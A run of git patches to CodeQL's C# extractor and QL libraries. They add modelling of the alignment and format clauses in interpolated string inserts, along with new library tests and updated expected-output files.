15:18:19 +0100 Subject: [PATCH 052/282] C#: Extract alignment and format clauses of string interpolation expressions. --- .../SymbolExtensions.cs | 9 ++++ .../Entities/Expressions/Binary.cs | 2 +- .../Entities/Expressions/ImplicitToString.cs | 7 +-- .../Expressions/InterpolatedString.cs | 11 +--- .../Expressions/InterpolatedStringInsert.cs | 41 +++++++++++++++ .../Kinds/ExprKind.cs | 1 + .../internal/TaintTrackingPrivate.qll | 3 ++ .../ql/lib/semmle/code/csharp/exprs/Expr.qll | 51 ++++++++++++++++--- csharp/ql/lib/semmlecode.csharp.dbscheme | 1 + 9 files changed, 104 insertions(+), 22 deletions(-) create mode 100644 csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/InterpolatedStringInsert.cs diff --git a/csharp/extractor/Semmle.Extraction.CSharp/CodeAnalysisExtensions/SymbolExtensions.cs b/csharp/extractor/Semmle.Extraction.CSharp/CodeAnalysisExtensions/SymbolExtensions.cs index cb1f36f8a2d..72f78f16059 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/CodeAnalysisExtensions/SymbolExtensions.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/CodeAnalysisExtensions/SymbolExtensions.cs @@ -29,6 +29,15 @@ namespace Semmle.Extraction.CSharp symbol is null ? (AnnotatedTypeSymbol?)null : new AnnotatedTypeSymbol(symbol, NullableAnnotation.None); } + internal static class AnnotatedTypeSymbolExtensions + { + /// + /// Returns true if the type is a string type. + /// + public static bool IsStringType(this AnnotatedTypeSymbol? type) => + type.HasValue && type.Value.Symbol?.SpecialType == SpecialType.System_String; + } + internal static class SymbolExtensions { /// diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Binary.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Binary.cs index eeb1b9ba63b..d4cc5cc81d5 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Binary.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/Binary.cs @@ -18,7 +18,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { // If this is a "+" expression we might need to wrap the child expressions // in ToString calls - return Kind == ExprKind.ADD + return Kind == ExprKind.ADD && Type.IsStringType() ? ImplicitToString.Create(cx, node, this, child) : Create(cx, node, this, child); } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ImplicitToString.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ImplicitToString.cs index 32c00f8a729..bebc0c2c5d8 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ImplicitToString.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ImplicitToString.cs @@ -39,16 +39,13 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions Context.TrapWriter.Writer.expr_call(this, target); } - private static bool IsStringType(AnnotatedTypeSymbol? type) => - type.HasValue && type.Value.Symbol?.SpecialType == SpecialType.System_String; - /// /// Creates a new expression, adding a compiler generated `ToString` call if required. /// - public static Expression Create(Context cx, ExpressionSyntax node, Expression parent, int child) + public static Expression Create(Context cx, ExpressionSyntax node, IExpressionParentEntity parent, int child) { var info = new ExpressionNodeInfo(cx, node, parent, child); - return CreateFromNode(info.SetImplicitToString(IsStringType(parent.Type) && !IsStringType(info.Type))); + return CreateFromNode(info.SetImplicitToString(!info.Type.IsStringType())); } /// diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/InterpolatedString.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/InterpolatedString.cs index 6d17d1e7f17..5cd13dffe20 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/InterpolatedString.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/InterpolatedString.cs @@ -1,5 +1,4 @@ using System.IO; -using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.CSharp; using Microsoft.CodeAnalysis.CSharp.Syntax; using Semmle.Extraction.Kinds; @@ -21,15 +20,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions { case SyntaxKind.Interpolation: var interpolation = (InterpolationSyntax)c; - var exp = interpolation.Expression; - if (Context.GetTypeInfo(exp).Type is ITypeSymbol type && !type.ImplementsIFormattable()) - { - ImplicitToString.Create(Context, exp, this, child++); - } - else - { - Create(Context, exp, this, child++); - } + new InterpolatedStringInsert(Context, interpolation, this, child++); break; case SyntaxKind.InterpolatedStringText: // Create a string literal diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/InterpolatedStringInsert.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/InterpolatedStringInsert.cs new file mode 100644 index 00000000000..beac4bc64a6 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/InterpolatedStringInsert.cs @@ -0,0 +1,41 @@ +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Semmle.Extraction.Kinds; + +namespace Semmle.Extraction.CSharp.Entities.Expressions +{ + internal class InterpolatedStringInsert : Expression + { + public InterpolatedStringInsert(Context cx, InterpolationSyntax syntax, Expression parent, int child) : + base(new ExpressionInfo(cx, null, cx.CreateLocation(syntax.GetLocation()), ExprKind.INTERPOLATED_STRING_INSERT, parent, child, isCompilerGenerated: false, null)) + { + var exp = syntax.Expression; + if (parent.Type.IsStringType() && + cx.GetTypeInfo(exp).Type is ITypeSymbol type && + !type.ImplementsIFormattable()) + { + ImplicitToString.Create(cx, exp, this, 0); + } + else + { + Create(cx, exp, this, 0); + } + + // Hardcode the child number of the optional alignment clause to 1 and format clause to 2. + // This simplifies the logic in QL. + if (syntax.AlignmentClause?.Value is ExpressionSyntax alignment) + { + Create(cx, alignment, this, 1); + } + + if (syntax.FormatClause is InterpolationFormatClauseSyntax format) + { + var f = format.FormatStringToken.ValueText; + var t = AnnotatedTypeSymbol.CreateNotAnnotated(cx.Compilation.GetSpecialType(SpecialType.System_String)); + new Expression(new ExpressionInfo(cx, t, cx.CreateLocation(format.GetLocation()), ExprKind.UTF16_STRING_LITERAL, this, 2, isCompilerGenerated: false, f)); + } + + } + } + +} diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs b/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs index 297acda9524..46a69419284 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Kinds/ExprKind.cs @@ -132,6 +132,7 @@ namespace Semmle.Extraction.Kinds UTF8_STRING_LITERAL = 135, COLLECTION = 136, SPREAD_ELEMENT = 137, + INTERPOLATED_STRING_INSERT = 138, DEFINE_SYMBOL = 999, } } diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/TaintTrackingPrivate.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/TaintTrackingPrivate.qll index 1a044a77777..b7681994e2c 100644 --- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/TaintTrackingPrivate.qll +++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/TaintTrackingPrivate.qll @@ -66,6 +66,9 @@ private class LocalTaintExprStepConfiguration extends ControlFlowReachabilityCon e1 = e2.(InterpolatedStringExpr).getAChild() and scope = e2 or + e1 = e2.(InterpolatedStringInsertExpr).getInsert() and + scope = e2 + or e2 = any(OperatorCall oc | oc.getTarget().(ConversionOperator).fromLibrary() and diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll index 85676bbd270..ada01065258 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll @@ -34,8 +34,9 @@ private import semmle.code.csharp.TypeRef * `as` expression (`AsExpr`), a cast (`CastExpr`), a `typeof` expression * (`TypeofExpr`), a `default` expression (`DefaultValueExpr`), an `await` * expression (`AwaitExpr`), a `nameof` expression (`NameOfExpr`), an - * interpolated string (`InterpolatedStringExpr`), a qualifiable expression - * (`QualifiableExpr`), or a literal (`Literal`). + * interpolated string (`InterpolatedStringExpr`), an interpolated string + * insert (`InterpolatedStringInsertExpr`), a qualifiable expression (`QualifiableExpr`), + * or a literal (`Literal`). */ class Expr extends ControlFlowElement, @expr { override Location getALocation() { expr_location(this, result) } @@ -917,6 +918,40 @@ class NameOfExpr extends Expr, @nameof_expr { override string getAPrimaryQlClass() { result = "NameOfExpr" } } +/** + * An interpolated string insert, for example `{pi, align:F3}` on line 3 in + * + * ```csharp + * void Pi() { + * float pi = 3.14159f; + * Console.WriteLine($"Hello Pi, {pi,6:F3}"); + * } + * ``` + */ +class InterpolatedStringInsertExpr extends Expr, @interpolated_string_insert_expr { + override string toString() { result = "{...}" } + + override string getAPrimaryQlClass() { result = "InterpolatedStringInsertExpr" } + + /** + * Gets the insert expression in this interpolated string insert. For + * example, the insert expression in `{pi, align:F3}` is `pi`. + */ + Expr getInsert() { result = this.getChild(0) } + + /** + * Gets the alignment expression in this interpolated string insert, if any. + * For example, the alignment expression in `{pi, align:F3}` is `align`. + */ + Expr getAlignment() { result = this.getChild(1) } + + /** + * Gets the format expression in this interpolated string insert, if any. + * For example, the format expression in `{pi, align:F3}` is `F3`. + */ + StringLiteral getFormat() { result = this.getChild(2) } +} + /** * An interpolated string, for example `$"Hello, {name}!"` on line 2 in * @@ -931,16 +966,20 @@ class InterpolatedStringExpr extends Expr, @interpolated_string_expr { override string getAPrimaryQlClass() { result = "InterpolatedStringExpr" } + /** + * Gets the interpolated string insert at index `i` in this interpolated string, if any. + * For example, the interpolated string insert at index `i = 1` is `{pi, align:F3}` + * in `$"Hello, {pi, align:F3}!"`. + */ + InterpolatedStringInsertExpr getInterpolatedInsert(int i) { result = this.getChild(i) } + /** * Gets the insert at index `i` in this interpolated string, if any. For * example, the insert at index `i = 1` is `name` in `$"Hello, {name}!"`. * Note that there is no insert at index `i = 0`, but instead a text * element (`getText(0)` gets the text). */ - Expr getInsert(int i) { - result = this.getChild(i) and - not result instanceof StringLiteral - } + Expr getInsert(int i) { result = this.getInterpolatedInsert(i).getInsert() } /** * Gets the text element at index `i` in this interpolated string, if any. diff --git a/csharp/ql/lib/semmlecode.csharp.dbscheme b/csharp/ql/lib/semmlecode.csharp.dbscheme index a2bda57dbc6..66044cfa5bb 100644 --- a/csharp/ql/lib/semmlecode.csharp.dbscheme +++ b/csharp/ql/lib/semmlecode.csharp.dbscheme @@ -1168,6 +1168,7 @@ case @expr.kind of /* C# 12.0 */ | 136 = @collection_expr | 137 = @spread_element_expr +| 138 = @interpolated_string_insert_expr /* Preprocessor */ | 999 = @define_symbol_expr ; From 2ca5ec00321f5cb2a17b1ffa1514c26dc917e65d Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 20 Mar 2025 15:43:03 +0100 Subject: [PATCH 053/282] C#: Add some string interpolation tests with alignment and formatting. --- .../StringInterpolation.cs | 17 +++++++++++++ .../library-tests/stringinterpolation/options | 2 ++ .../stringInterpolation.expected | 23 +++++++++++++++++ .../stringInterpolation.ql | 25 +++++++++++++++++++ 4 files changed, 67 insertions(+) create mode 100644 csharp/ql/test/library-tests/stringinterpolation/StringInterpolation.cs create mode 100644 csharp/ql/test/library-tests/stringinterpolation/options create mode 100644 csharp/ql/test/library-tests/stringinterpolation/stringInterpolation.expected create mode 100644 csharp/ql/test/library-tests/stringinterpolation/stringInterpolation.ql diff --git a/csharp/ql/test/library-tests/stringinterpolation/StringInterpolation.cs b/csharp/ql/test/library-tests/stringinterpolation/StringInterpolation.cs new file mode 100644 index 00000000000..d14c3d75e46 --- /dev/null +++ b/csharp/ql/test/library-tests/stringinterpolation/StringInterpolation.cs @@ -0,0 +1,17 @@ +using System; + +public class MyStringInterpolationClass +{ + + public void M() + { + float i = 3.14159f; + const int align = 5; + var x1 = $"Hello, Pi {i}"; + var x2 = $"Hello, Pi {i:F1}"; + var x3 = $"Hello, Pi {i,6}"; + var x4 = $"Hello, Pi {i,6:F3}"; + var x5 = $"Hello, Pi {i,align}"; + var x6 = $"Hello, Pi {i,align:F2}"; + } +} diff --git a/csharp/ql/test/library-tests/stringinterpolation/options b/csharp/ql/test/library-tests/stringinterpolation/options new file mode 100644 index 00000000000..77b22963f5c --- /dev/null +++ b/csharp/ql/test/library-tests/stringinterpolation/options @@ -0,0 +1,2 @@ +semmle-extractor-options: /nostdlib /noconfig +semmle-extractor-options: --load-sources-from-project:${testdir}/../../resources/stubs/_frameworks/Microsoft.NETCore.App/Microsoft.NETCore.App.csproj diff --git a/csharp/ql/test/library-tests/stringinterpolation/stringInterpolation.expected b/csharp/ql/test/library-tests/stringinterpolation/stringInterpolation.expected new file mode 100644 index 00000000000..9ce88ad83c3 --- /dev/null +++ b/csharp/ql/test/library-tests/stringinterpolation/stringInterpolation.expected @@ -0,0 +1,23 @@ +inserts +| StringInterpolation.cs:10:18:10:33 | $"..." | StringInterpolation.cs:10:31:10:31 | access to local variable i | +| StringInterpolation.cs:11:18:11:36 | $"..." | StringInterpolation.cs:11:31:11:31 | access to local variable i | +| StringInterpolation.cs:12:18:12:35 | $"..." | StringInterpolation.cs:12:31:12:31 | access to local variable i | +| StringInterpolation.cs:13:18:13:38 | $"..." | StringInterpolation.cs:13:31:13:31 | access to local variable i | +| StringInterpolation.cs:14:18:14:39 | $"..." | StringInterpolation.cs:14:31:14:31 | access to local variable i | +| StringInterpolation.cs:15:18:15:42 | $"..." | StringInterpolation.cs:15:31:15:31 | access to local variable i | +texts +| StringInterpolation.cs:10:18:10:33 | $"..." | StringInterpolation.cs:10:20:10:29 | "Hello, Pi " | +| StringInterpolation.cs:11:18:11:36 | $"..." | StringInterpolation.cs:11:20:11:29 | "Hello, Pi " | +| StringInterpolation.cs:12:18:12:35 | $"..." | StringInterpolation.cs:12:20:12:29 | "Hello, Pi " | +| StringInterpolation.cs:13:18:13:38 | $"..." | StringInterpolation.cs:13:20:13:29 | "Hello, Pi " | +| StringInterpolation.cs:14:18:14:39 | $"..." | StringInterpolation.cs:14:20:14:29 | "Hello, Pi " | +| StringInterpolation.cs:15:18:15:42 | $"..." | StringInterpolation.cs:15:20:15:29 | "Hello, Pi " | +interpolationInsertsWithAlign +| StringInterpolation.cs:12:18:12:35 | $"..." | StringInterpolation.cs:12:31:12:31 | access to local variable i | StringInterpolation.cs:12:33:12:33 | 6 | +| StringInterpolation.cs:13:18:13:38 | $"..." | StringInterpolation.cs:13:31:13:31 | access to local variable i | StringInterpolation.cs:13:33:13:33 | 6 | +| StringInterpolation.cs:14:18:14:39 | $"..." | StringInterpolation.cs:14:31:14:31 | access to local variable i | StringInterpolation.cs:14:33:14:37 | access to local variable align | +| StringInterpolation.cs:15:18:15:42 | $"..." | StringInterpolation.cs:15:31:15:31 | access to local variable i | StringInterpolation.cs:15:33:15:37 | access to local variable align | +interpolationInsertsWithFormat +| StringInterpolation.cs:11:18:11:36 | $"..." | StringInterpolation.cs:11:31:11:31 | access to local variable i | StringInterpolation.cs:11:32:11:34 | "F1" | +| StringInterpolation.cs:13:18:13:38 | $"..." | StringInterpolation.cs:13:31:13:31 | access to local variable i | StringInterpolation.cs:13:34:13:36 | "F3" | +| StringInterpolation.cs:15:18:15:42 | $"..." | StringInterpolation.cs:15:31:15:31 | access to local variable i | StringInterpolation.cs:15:38:15:40 | "F2" | diff --git a/csharp/ql/test/library-tests/stringinterpolation/stringInterpolation.ql b/csharp/ql/test/library-tests/stringinterpolation/stringInterpolation.ql new file mode 100644 index 00000000000..21b33b12b56 --- /dev/null +++ b/csharp/ql/test/library-tests/stringinterpolation/stringInterpolation.ql @@ -0,0 +1,25 @@ +import csharp + +query predicate inserts(InterpolatedStringExpr expr, Expr e) { + expr.getAnInsert() = e // and inSpecificSource(expr) +} + +query predicate texts(InterpolatedStringExpr expr, StringLiteral literal) { + expr.getAText() = literal // and inSpecificSource(expr) +} + +query predicate interpolationInsertsWithAlign(InterpolatedStringExpr expr, Expr insert, Expr align) { + exists(InterpolatedStringInsertExpr e | expr.getInterpolatedInsert(_) = e | + insert = e.getInsert() and + align = e.getAlignment() + ) +} + +query predicate interpolationInsertsWithFormat( + InterpolatedStringExpr expr, Expr insert, StringLiteral format +) { + exists(InterpolatedStringInsertExpr e | expr.getInterpolatedInsert(_) = e | + insert = e.getInsert() and + format = e.getFormat() + ) +} From a73a61b8fa3916211950688690003867ba85f5c4 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 21 Mar 2025 12:35:49 +0100 Subject: [PATCH 054/282] C#: Add PrintAst test for string interpolation expressions. --- .../stringinterpolation/PrintAst.expected | 70 +++++++++++++++++++ .../stringinterpolation/PrintAst.qlref | 1 + 2 files changed, 71 insertions(+) create mode 100644 csharp/ql/test/library-tests/stringinterpolation/PrintAst.expected create mode 100644 csharp/ql/test/library-tests/stringinterpolation/PrintAst.qlref diff --git a/csharp/ql/test/library-tests/stringinterpolation/PrintAst.expected b/csharp/ql/test/library-tests/stringinterpolation/PrintAst.expected new file mode 100644 index 00000000000..6529f9feed5 --- /dev/null +++ b/csharp/ql/test/library-tests/stringinterpolation/PrintAst.expected @@ -0,0 +1,70 @@ +StringInterpolation.cs: +# 3| [Class] MyStringInterpolationClass +# 6| 5: [Method] M +# 6| -1: [TypeMention] Void +# 7| 4: [BlockStmt] {...} +# 8| 0: [LocalVariableDeclStmt] ... ...; +# 8| 0: [LocalVariableDeclAndInitExpr] Single i = ... +# 8| -1: [TypeMention] float +# 8| 0: [LocalVariableAccess] access to local variable i +# 8| 1: [FloatLiteral] 3.14159 +# 9| 1: [LocalConstantDeclStmt] const ... ...; +# 9| 0: [LocalVariableDeclAndInitExpr] Int32 align = ... +# 9| -1: [TypeMention] int +# 9| 0: [LocalVariableAccess] access to local variable align +# 9| 1: [IntLiteral] 5 +# 10| 2: [LocalVariableDeclStmt] ... ...; +# 10| 0: [LocalVariableDeclAndInitExpr] String x1 = ... +# 10| -1: [TypeMention] string +# 10| 0: [LocalVariableAccess] access to local variable x1 +# 10| 1: [InterpolatedStringExpr] $"..." +# 10| 0: [StringLiteralUtf16] "Hello, Pi " +# 10| 1: [InterpolatedStringInsertExpr] {...} +# 10| 0: [LocalVariableAccess] access to local variable i +# 11| 3: [LocalVariableDeclStmt] ... ...; +# 11| 0: [LocalVariableDeclAndInitExpr] String x2 = ... +# 11| -1: [TypeMention] string +# 11| 0: [LocalVariableAccess] access to local variable x2 +# 11| 1: [InterpolatedStringExpr] $"..." +# 11| 0: [StringLiteralUtf16] "Hello, Pi " +# 11| 1: [InterpolatedStringInsertExpr] {...} +# 11| 0: [LocalVariableAccess] access to local variable i +# 11| 2: [StringLiteralUtf16] "F1" +# 12| 4: [LocalVariableDeclStmt] ... ...; +# 12| 0: [LocalVariableDeclAndInitExpr] String x3 = ... +# 12| -1: [TypeMention] string +# 12| 0: [LocalVariableAccess] access to local variable x3 +# 12| 1: [InterpolatedStringExpr] $"..." +# 12| 0: [StringLiteralUtf16] "Hello, Pi " +# 12| 1: [InterpolatedStringInsertExpr] {...} +# 12| 0: [LocalVariableAccess] access to local variable i +# 12| 1: [IntLiteral] 6 +# 13| 5: [LocalVariableDeclStmt] ... ...; +# 13| 0: [LocalVariableDeclAndInitExpr] String x4 = ... +# 13| -1: [TypeMention] string +# 13| 0: [LocalVariableAccess] access to local variable x4 +# 13| 1: [InterpolatedStringExpr] $"..." +# 13| 0: [StringLiteralUtf16] "Hello, Pi " +# 13| 1: [InterpolatedStringInsertExpr] {...} +# 13| 0: [LocalVariableAccess] access to local variable i +# 13| 1: [IntLiteral] 6 +# 13| 2: [StringLiteralUtf16] "F3" +# 14| 6: [LocalVariableDeclStmt] ... ...; +# 14| 0: [LocalVariableDeclAndInitExpr] String x5 = ... +# 14| -1: [TypeMention] string +# 14| 0: [LocalVariableAccess] access to local variable x5 +# 14| 1: [InterpolatedStringExpr] $"..." +# 14| 0: [StringLiteralUtf16] "Hello, Pi " +# 14| 1: [InterpolatedStringInsertExpr] {...} +# 14| 0: [LocalVariableAccess] access to local variable i +# 14| 1: [LocalVariableAccess] access to local variable align +# 15| 7: [LocalVariableDeclStmt] ... ...; +# 15| 0: [LocalVariableDeclAndInitExpr] String x6 = ... +# 15| -1: [TypeMention] string +# 15| 0: [LocalVariableAccess] access to local variable x6 +# 15| 1: [InterpolatedStringExpr] $"..." +# 15| 0: [StringLiteralUtf16] "Hello, Pi " +# 15| 1: [InterpolatedStringInsertExpr] {...} +# 15| 0: [LocalVariableAccess] access to local variable i +# 15| 1: [LocalVariableAccess] access to local variable align +# 15| 2: [StringLiteralUtf16] "F2" diff --git a/csharp/ql/test/library-tests/stringinterpolation/PrintAst.qlref b/csharp/ql/test/library-tests/stringinterpolation/PrintAst.qlref new file mode 100644 index 00000000000..f867dd01f9f --- /dev/null +++ b/csharp/ql/test/library-tests/stringinterpolation/PrintAst.qlref @@ -0,0 +1 @@ +shared/PrintAst.ql \ No newline at end of file From 5ae7e5ddb3890de6369a6be488d45fcee416d819 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Fri, 21 Mar 2025 12:44:46 +0100 Subject: [PATCH 055/282] C#: Update other test expected output files. --- .../controlflow/graph/BasicBlock.expected | 18 +++---- .../controlflow/graph/Dominance.expected | 54 ++++++++++++------- .../graph/EnclosingCallable.expected | 9 ++++ .../controlflow/graph/EntryElement.expected | 9 ++++ .../controlflow/graph/ExitElement.expected | 9 ++++ .../controlflow/graph/NodeGraph.expected | 27 ++++++---- .../library-tests/csharp11/PrintAst.expected | 26 +++++---- .../csharp6/InterpolatedStringExpr.expected | 16 +++--- .../library-tests/csharp6/PrintAst.expected | 44 ++++++++------- .../library-tests/csharp7.3/PrintAst.expected | 3 +- .../library-tests/csharp7/IsFlow.expected | 12 +++-- .../csharp7/LocalTaintFlow.expected | 18 ++++--- .../library-tests/csharp7/PrintAst.expected | 18 ++++--- .../library-tests/csharp8/PrintAst.expected | 6 ++- .../library-tests/csharp9/PrintAst.expected | 5 +- .../implicittostring/PrintAst.expected | 10 ++-- .../dataflow/local/TaintTrackingStep.expected | 12 +++-- 17 files changed, 194 insertions(+), 102 deletions(-) diff --git a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected index b3ea35fe7e4..623b5404f78 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected @@ -377,8 +377,8 @@ | Conditions.cs:143:10:143:12 | exit M11 (normal) | Conditions.cs:143:10:143:12 | exit M11 | 2 | | Conditions.cs:145:21:145:23 | [b (line 143): true] "a" | Conditions.cs:146:13:146:13 | [b (line 143): true] access to parameter b | 5 | | Conditions.cs:145:27:145:29 | [b (line 143): false] "b" | Conditions.cs:146:13:146:13 | [b (line 143): false] access to parameter b | 5 | -| Conditions.cs:147:13:147:49 | ...; | Conditions.cs:147:13:147:48 | call to method WriteLine | 5 | -| Conditions.cs:149:13:149:49 | ...; | Conditions.cs:149:13:149:48 | call to method WriteLine | 5 | +| Conditions.cs:147:13:147:49 | ...; | Conditions.cs:147:13:147:48 | call to method WriteLine | 6 | +| Conditions.cs:149:13:149:49 | ...; | Conditions.cs:149:13:149:48 | call to method WriteLine | 6 | | ExitMethods.cs:6:7:6:17 | enter ExitMethods | ExitMethods.cs:6:7:6:17 | exit ExitMethods | 5 | | ExitMethods.cs:8:10:8:11 | enter M1 | ExitMethods.cs:8:10:8:11 | exit M1 | 8 | | ExitMethods.cs:14:10:14:11 | enter M2 | ExitMethods.cs:14:10:14:11 | exit M2 | 8 | @@ -859,11 +859,11 @@ | Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:8:18:8:23 | Int32 i1 | 8 | | Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:8:13:8:23 | [false] ... is ... | 1 | | Patterns.cs:8:13:8:23 | [true] ... is ... | Patterns.cs:8:13:8:23 | [true] ... is ... | 1 | -| Patterns.cs:9:9:11:9 | {...} | Patterns.cs:10:13:10:42 | call to method WriteLine | 6 | +| Patterns.cs:9:9:11:9 | {...} | Patterns.cs:10:13:10:42 | call to method WriteLine | 7 | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:23:12:31 | String s1 | 3 | | Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:12:18:12:31 | [false] ... is ... | 1 | | Patterns.cs:12:18:12:31 | [true] ... is ... | Patterns.cs:12:18:12:31 | [true] ... is ... | 1 | -| Patterns.cs:13:9:15:9 | {...} | Patterns.cs:14:13:14:45 | call to method WriteLine | 6 | +| Patterns.cs:13:9:15:9 | {...} | Patterns.cs:14:13:14:45 | call to method WriteLine | 7 | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:23:16:28 | Object v1 | 3 | | Patterns.cs:16:18:16:28 | [false] ... is ... | Patterns.cs:16:18:16:28 | [false] ... is ... | 1 | | Patterns.cs:16:18:16:28 | [true] ... is ... | Patterns.cs:16:18:16:28 | [true] ... is ... | 1 | @@ -872,11 +872,11 @@ | Patterns.cs:23:17:23:22 | break; | Patterns.cs:23:17:23:22 | break; | 1 | | Patterns.cs:24:13:24:36 | case ...: | Patterns.cs:24:18:24:23 | Int32 i2 | 2 | | Patterns.cs:24:30:24:31 | access to local variable i2 | Patterns.cs:24:30:24:35 | ... > ... | 3 | -| Patterns.cs:25:17:25:52 | ...; | Patterns.cs:26:17:26:22 | break; | 6 | +| Patterns.cs:25:17:25:52 | ...; | Patterns.cs:26:17:26:22 | break; | 7 | | Patterns.cs:27:13:27:24 | case ...: | Patterns.cs:27:18:27:23 | Int32 i3 | 2 | -| Patterns.cs:28:17:28:47 | ...; | Patterns.cs:29:17:29:22 | break; | 6 | +| Patterns.cs:28:17:28:47 | ...; | Patterns.cs:29:17:29:22 | break; | 7 | | Patterns.cs:30:13:30:27 | case ...: | Patterns.cs:30:18:30:26 | String s2 | 2 | -| Patterns.cs:31:17:31:50 | ...; | Patterns.cs:32:17:32:22 | break; | 6 | +| Patterns.cs:31:17:31:50 | ...; | Patterns.cs:32:17:32:22 | break; | 7 | | Patterns.cs:33:13:33:24 | case ...: | Patterns.cs:33:18:33:23 | Object v2 | 2 | | Patterns.cs:34:17:34:22 | break; | Patterns.cs:34:17:34:22 | break; | 1 | | Patterns.cs:35:13:35:20 | default: | Patterns.cs:37:17:37:22 | break; | 5 | @@ -1076,8 +1076,8 @@ | Switch.cs:156:36:156:38 | "a" | Switch.cs:156:28:156:38 | ... => ... | 2 | | Switch.cs:156:41:156:45 | false | Switch.cs:156:41:156:45 | false | 1 | | Switch.cs:156:50:156:52 | "b" | Switch.cs:156:41:156:52 | ... => ... | 2 | -| Switch.cs:158:13:158:49 | ...; | Switch.cs:158:13:158:48 | call to method WriteLine | 5 | -| Switch.cs:160:13:160:49 | ...; | Switch.cs:160:13:160:48 | call to method WriteLine | 5 | +| Switch.cs:158:13:158:49 | ...; | Switch.cs:158:13:158:48 | call to method WriteLine | 6 | +| Switch.cs:160:13:160:49 | ...; | Switch.cs:160:13:160:48 | call to method WriteLine | 6 | | TypeAccesses.cs:1:7:1:18 | enter TypeAccesses | TypeAccesses.cs:1:7:1:18 | exit TypeAccesses | 5 | | TypeAccesses.cs:3:10:3:10 | enter M | TypeAccesses.cs:7:18:7:22 | Int32 j | 13 | | TypeAccesses.cs:7:13:7:22 | [false] ... is ... | TypeAccesses.cs:7:13:7:22 | [false] ... is ... | 1 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected index 7706539ad30..b2d70066068 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected @@ -1527,11 +1527,13 @@ dominance | Conditions.cs:147:13:147:49 | ...; | Conditions.cs:147:40:147:43 | "a = " | | Conditions.cs:147:38:147:47 | $"..." | Conditions.cs:147:13:147:48 | call to method WriteLine | | Conditions.cs:147:40:147:43 | "a = " | Conditions.cs:147:45:147:45 | access to local variable s | -| Conditions.cs:147:45:147:45 | access to local variable s | Conditions.cs:147:38:147:47 | $"..." | +| Conditions.cs:147:44:147:46 | {...} | Conditions.cs:147:38:147:47 | $"..." | +| Conditions.cs:147:45:147:45 | access to local variable s | Conditions.cs:147:44:147:46 | {...} | | Conditions.cs:149:13:149:49 | ...; | Conditions.cs:149:40:149:43 | "b = " | | Conditions.cs:149:38:149:47 | $"..." | Conditions.cs:149:13:149:48 | call to method WriteLine | | Conditions.cs:149:40:149:43 | "b = " | Conditions.cs:149:45:149:45 | access to local variable s | -| Conditions.cs:149:45:149:45 | access to local variable s | Conditions.cs:149:38:149:47 | $"..." | +| Conditions.cs:149:44:149:46 | {...} | Conditions.cs:149:38:149:47 | $"..." | +| Conditions.cs:149:45:149:45 | access to local variable s | Conditions.cs:149:44:149:46 | {...} | | ExitMethods.cs:6:7:6:17 | call to constructor Object | ExitMethods.cs:6:7:6:17 | {...} | | ExitMethods.cs:6:7:6:17 | enter ExitMethods | ExitMethods.cs:6:7:6:17 | call to constructor Object | | ExitMethods.cs:6:7:6:17 | exit ExitMethods (normal) | ExitMethods.cs:6:7:6:17 | exit ExitMethods | @@ -3147,7 +3149,8 @@ dominance | Patterns.cs:10:13:10:43 | ...; | Patterns.cs:10:33:10:36 | "int " | | Patterns.cs:10:31:10:41 | $"..." | Patterns.cs:10:13:10:42 | call to method WriteLine | | Patterns.cs:10:33:10:36 | "int " | 